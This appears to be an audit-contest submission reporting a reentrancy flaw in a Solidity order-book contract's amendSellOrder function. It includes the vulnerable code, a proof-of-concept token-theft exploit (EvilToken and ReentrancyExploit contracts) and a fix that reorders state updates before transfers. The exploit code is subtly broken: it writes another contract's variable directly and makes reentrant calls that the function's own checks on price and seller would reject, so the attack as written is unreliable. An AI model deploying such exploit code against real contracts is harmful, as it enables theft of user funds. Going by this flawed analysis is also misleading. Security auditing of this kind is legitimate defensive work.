Submission Details
Impact:
Likelihood:
Reentrancy in amendSellOrder
Root + Impact
Description
-
Normally
amendSellOrdershould first update the order’s stored fields and then do token transfers to adjust escrow. -
The function violates the checks effects interactions pattern by performing external token transfers before updating the order state variables. This allows malicious tokens to reenter the function during the transfer callback and manipulate the order state while it's in an inconsistent state
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice();
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
// Handle token amount changes
if (_newAmountToSell > order.amountToSell) {
// Increasing amount: Transfer additional tokens from seller
uint256 diff = _newAmountToSell - order.amountToSell;
@> token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
// Decreasing amount: Transfer excess tokens back to seller
uint256 diff = order.amountToSell - _newAmountToSell;
@> token.safeTransfer(order.seller, diff); // EXTERNAL CALL BEFORE STATE UPDATE
}
// Update order details
@> order.amountToSell = _newAmountToSell; // STATE UPDATE AFTER EXTERNAL CALL
@> order.priceInUSDC = _newPriceInUSDC;
@> order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
Risk
Likelihood:
-
Custom tokens with hooks are whitelisted for new projects.
-
Sellers amend orders which gives attackers multiple oportunities
Impact:
-
Attacker contract reenters during
safeTransferand manipulatesorder.amountToSell, which steals tokens
Proof of Concept
// SPDX-License-Identifier: MIT
import "./OrderBook.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract EvilToken is ERC20 {
OrderBook public ob;
uint256 public targetOrderId;
bool private _reentered;
constructor(address _ob) ERC20("Evil", "EVL") {
ob = OrderBook(_ob);
_mint(msg.sender, 1_000e18);
_mint(address(this), 1_000e18);
}
function transfer(address to, uint256 amount) public override returns (bool) {
if (!_reentered && msg.sender == address(ob)) {
_reentered = true;
ob.amendSellOrder(targetOrderId, 1e18, 0, 1 days);
}
return super.transfer(to, amount);
}
}
/// @notice Exploit contract
contract ReentrancyExploit {
OrderBook public ob;
EvilToken public token;
constructor(address _ob) {
ob = OrderBook(_ob);
token = new EvilToken(_ob);
token.approve(address(ob), type(uint256).max);
}
function exploit() external {
token.transfer(address(this), 100e18);
token.approve(address(ob), 100e18);
uint256 oid = ob.createSellOrder(address(token), 100e18, 100e6, 1 days);
token.targetOrderId = oid;
ob.amendSellOrder(oid, 50e18, 100e6, 1 days);
}
}
Recommended Mitigation
This little change marks a huge difference, because this prevents reentrancy because even if a malicious token reenters the function during transfer the order state has already been updated to its final values, which makes any additional reentrancy calls work with the new state rather than allowing manipulation of partially updated state.
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice();
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
+ uint256 oldAmountToSell = order.amountToSell;
+ // Update order details FIRST (Effects)
+ order.amountToSell = _newAmountToSell;
+ order.priceInUSDC = _newPriceInUSDC;
+ order.deadlineTimestamp = newDeadlineTimestamp;
// Handle token amount changes AFTER state updates (Interactions)
- if (_newAmountToSell > order.amountToSell) {
+ if (_newAmountToSell > oldAmountToSell) {
// Increasing amount: Transfer additional tokens from seller
- uint256 diff = _newAmountToSell - order.amountToSell;
+ uint256 diff = _newAmountToSell - oldAmountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
- } else if (_newAmountToSell < order.amountToSell) {
+ } else if (_newAmountToSell < oldAmountToSell) {
// Decreasing amount: Transfer excess tokens back to seller
- uint256 diff = order.amountToSell - _newAmountToSell;
+ uint256 diff = oldAmountToSell - _newAmountToSell;
token.safeTransfer(order.seller, diff);
}
- // Update order details
- order.amountToSell = _newAmountToSell;
- order.priceInUSDC = _newPriceInUSDC;
- order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
Updates
Rewards breakdown
nSLOC
217This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.